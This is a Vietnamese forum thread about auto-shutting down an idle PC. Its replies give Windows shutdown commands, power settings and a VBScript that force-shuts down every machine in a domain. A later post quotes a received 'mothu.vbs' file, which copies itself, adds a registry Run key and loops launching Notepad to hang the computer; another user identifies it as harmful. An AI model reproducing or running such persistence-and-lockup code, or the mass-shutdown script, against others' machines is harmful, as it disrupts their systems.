Có cách nào làm máy tắt tự động nếu ko sử dụng sau 1 thời gian ko
2 posters
Trang 1 trong tổng số 1 trang
Có cách nào làm máy tắt tự động nếu ko sử dụng sau 1 thời gian ko
Các bạn có thể cho mình phần mềm hay cách nào làm máy tắt tự động nếu ko
sử dụng sau 1 thời gian ko?Thanks các bạn nhiều!
sử dụng sau 1 thời gian ko?Thanks các bạn nhiều!
saothuy_vt- Supper mem
- Tổng số bài gửi : 11
Số điểm : 19
Số lần được cám ơn : 4
Ngày đến diễn đàn: : 11/01/2010
Tuổi : 34
Re: Có cách nào làm máy tắt tự động nếu ko sử dụng sau 1 thời gian ko
oh.. cái này hay đó. Thường thì thức rồi ngủ quên...để máy nguyên đêm.
bạn có thể làm như sau:
Có 2 cách để máy tắt tự động:
- Cách thứ nhất (không dùng phần mềm hỗ trợ): áp dụng đối với Windows XP
ta làm như sau:
+ Nhấn Win +R để mở hộp thoại Run
+ Gõ lệnh: shutdown -s -t 30 (Ý nghĩa: shutdown máy sau 30 phút)
(Ngoài ra:
shutdown -r -t 40 (restart máy sau 40 phut)
shutdown -a (thay đổi quyết định không hẹn giờ shutdown nữa)
...
và bạn có thể vào cmd để mở hộp thoại command sau đó gõ lệnh:
shutdown -? để xem hướng dẫn sử dụng)
- Cách thứ 2 (Dùng phần mềm hỗ trợ): Bạn vào google mà tìm các cụm từ
như: "auto shutdown", ... có thể có những phần mềm free hoặc không.Bạn
có thể dùng google để search các phần mềm này:
+Accurate Shutdown 628
+Aquarius PC Remote Shutdown Pro v1.0.0.1 (full)
+Auto Power-on & Shut-down v1.42 (full)
+Auto PowerOn & ShutDown v2.00 (full)
+Auto Shutdown v4.2 (full)
Lệnh trên thì mỗi lần muốn tắt máy thì bạn phải làm, như vậy thì cũng hơi
mệt, có 1 cách mà trong win hỗ trợ sẵn:
Vảo control panel
Vào power option
bạn để ý vào phần khung: Settings for Home/office desk power sheme
bạn sẽ thấy Turn off monitor, turn off hard disk, bạn chọn
thơi gian tương ứng ( sau bao nhiêu phút khong dùng máy nữa thì sẽ tắt
màn hình, tắt đĩa cứng , thường là màn hình trước, sau đó là tới đĩa
cứng )
hoặc
bạn có thể dùng VPscript để có thể tắt máy
từ xa.Hãy làm theo đoạn mã sau bạn sẽ hiểu
Chúng ta sẽ dùng đoạn mã sau:
Dim ObjDomain, ObjComputer, WshShell
Dim domainName, str, i
Dim txtCmd, txtCmd_H, txtCmd_F
On Error Resume Next
Set objNetwork = Wscript.CreateObject("Wscript.Network")
domainName = objNetwork.UserDomain Lay domain mac dinh
domainName = inputBox("Workgroup or DomainName?","Domain Name",
domainName)
if len(domainName)>0 then
Set ObjDomain = GetObject("WinNT://" & domainName)
ObjDomain.filter = array("Computer")
Set WshShell = Wscript.CreateObject("Wscript.Shell")
txtCmd_H = "shutdown /s /m \\"
tstCmd_F = " /t 120 /c ""Da het gio thuc hanh"" /f"
For Each ObjComputer In ObjDomain
txtCmd = txtCmd_H & ObjComputer.name & txtCmd_F
WshShell.Run txtCmd, 0
Next
Set ObjComputer = nothing
Set ObjDomain = nothing
end if
Set WshShell = nothing
Nếu chưa từng lập trình, các câu lệnh này có thể khó hiểu với bạn...
nhưng không sao! Bạn chỉ việc dùng notepad tạo một tập tin có tên
ShutdownAll.vbs và gõ đoạn mã trên vào. Tôi giả định là bạn lưu tập tin
này vào thư mục C:\WINDOWS\SYSTEM32.
Sử dụng:
• Cách 1: Chạy trong môi trường
Windows
- Nhấn đúp vào tập tin ShutdownAll.vbs
- Hoặc bạn có thể tạo một shortcut với nội dung:
"Wscript.exe C:\WINDOWS\SYSTEM32\ShutdownAll.vbs"
• Cách 2: Chạy trong môi trường
cửa sổ lệnh (Command Prompt). Bạn chỉ cần gõ lệnh:
Cscript.exe C:\WINDOWS\SYSTEM32\ShutdownAll.vbs
Lưu ý: Những máy tính có dùng tường lửa (firewall) của Windows thì đoạn
mã trên không thể tác động đến được.
bạn có thể làm như sau:
Có 2 cách để máy tắt tự động:
- Cách thứ nhất (không dùng phần mềm hỗ trợ): áp dụng đối với Windows XP
ta làm như sau:
+ Nhấn Win +R để mở hộp thoại Run
+ Gõ lệnh: shutdown -s -t 30 (Ý nghĩa: shutdown máy sau 30 phút)
(Ngoài ra:
shutdown -r -t 40 (restart máy sau 40 phut)
shutdown -a (thay đổi quyết định không hẹn giờ shutdown nữa)
...
và bạn có thể vào cmd để mở hộp thoại command sau đó gõ lệnh:
shutdown -? để xem hướng dẫn sử dụng)
- Cách thứ 2 (Dùng phần mềm hỗ trợ): Bạn vào google mà tìm các cụm từ
như: "auto shutdown", ... có thể có những phần mềm free hoặc không.Bạn
có thể dùng google để search các phần mềm này:
+Accurate Shutdown 628
+Aquarius PC Remote Shutdown Pro v1.0.0.1 (full)
+Auto Power-on & Shut-down v1.42 (full)
+Auto PowerOn & ShutDown v2.00 (full)
+Auto Shutdown v4.2 (full)
Lệnh trên thì mỗi lần muốn tắt máy thì bạn phải làm, như vậy thì cũng hơi
mệt, có 1 cách mà trong win hỗ trợ sẵn:
Vảo control panel
Vào power option
bạn để ý vào phần khung: Settings for Home/office desk power sheme
bạn sẽ thấy Turn off monitor, turn off hard disk, bạn chọn
thơi gian tương ứng ( sau bao nhiêu phút khong dùng máy nữa thì sẽ tắt
màn hình, tắt đĩa cứng , thường là màn hình trước, sau đó là tới đĩa
cứng )
hoặc
bạn có thể dùng VPscript để có thể tắt máy
từ xa.Hãy làm theo đoạn mã sau bạn sẽ hiểu
Chúng ta sẽ dùng đoạn mã sau:
Dim ObjDomain, ObjComputer, WshShell
Dim domainName, str, i
Dim txtCmd, txtCmd_H, txtCmd_F
On Error Resume Next
Set objNetwork = Wscript.CreateObject("Wscript.Network")
domainName = objNetwork.UserDomain Lay domain mac dinh
domainName = inputBox("Workgroup or DomainName?","Domain Name",
domainName)
if len(domainName)>0 then
Set ObjDomain = GetObject("WinNT://" & domainName)
ObjDomain.filter = array("Computer")
Set WshShell = Wscript.CreateObject("Wscript.Shell")
txtCmd_H = "shutdown /s /m \\"
tstCmd_F = " /t 120 /c ""Da het gio thuc hanh"" /f"
For Each ObjComputer In ObjDomain
txtCmd = txtCmd_H & ObjComputer.name & txtCmd_F
WshShell.Run txtCmd, 0
Next
Set ObjComputer = nothing
Set ObjDomain = nothing
end if
Set WshShell = nothing
Nếu chưa từng lập trình, các câu lệnh này có thể khó hiểu với bạn...
nhưng không sao! Bạn chỉ việc dùng notepad tạo một tập tin có tên
ShutdownAll.vbs và gõ đoạn mã trên vào. Tôi giả định là bạn lưu tập tin
này vào thư mục C:\WINDOWS\SYSTEM32.
Sử dụng:
• Cách 1: Chạy trong môi trường
Windows
- Nhấn đúp vào tập tin ShutdownAll.vbs
- Hoặc bạn có thể tạo một shortcut với nội dung:
"Wscript.exe C:\WINDOWS\SYSTEM32\ShutdownAll.vbs"
• Cách 2: Chạy trong môi trường
cửa sổ lệnh (Command Prompt). Bạn chỉ cần gõ lệnh:
Cscript.exe C:\WINDOWS\SYSTEM32\ShutdownAll.vbs
Lưu ý: Những máy tính có dùng tường lửa (firewall) của Windows thì đoạn
mã trên không thể tác động đến được.
Re: Có cách nào làm máy tắt tự động nếu ko sử dụng sau 1 thời gian ko
Không biết nữa, có 1 bạn gửi cho mình file mothu.vbs
Mình dùng edit mở thấy code nó như sau:
On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set mothu= CreateObject("WScript.Shell")
Do
mothu.run "notepad",false
loop
Đó là code gì vậy? có ai biết không? mình chưa mở thử
Mình dùng edit mở thấy code nó như sau:
On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set mothu= CreateObject("WScript.Shell")
Do
mothu.run "notepad",false
loop
Đó là code gì vậy? có ai biết không? mình chưa mở thử
saothuy_vt- Supper mem
- Tổng số bài gửi : 11
Số điểm : 19
Số lần được cám ơn : 4
Ngày đến diễn đàn: : 11/01/2010
Tuổi : 34
Re: Có cách nào làm máy tắt tự động nếu ko sử dụng sau 1 thời gian ko
hihihi..bạn mở thử là bít ngay thôi ah. Nói vậy chứ mình đùa đó, may là bạn k mở, đừng mở nhé. Đó là file làm treo máy. đoạn code đó nó làm máy bạn đứng luôn đó.
Similar topics
» Mã số bí mật của di động
» HiVi 2S Fashion - Phần mềm quản lý shop thời trang (dành riêng cho ngành thời trang)
» Mẹo Vặt Để Youtube.com Tự động Play
» tắt tạm thời Symantec AntiVirus
» Mùa đông đến rồi
» HiVi 2S Fashion - Phần mềm quản lý shop thời trang (dành riêng cho ngành thời trang)
» Mẹo Vặt Để Youtube.com Tự động Play
» tắt tạm thời Symantec AntiVirus
» Mùa đông đến rồi
Trang 1 trong tổng số 1 trang
Permissions in this forum:
Bạn không có quyền trả lời bài viết
|
|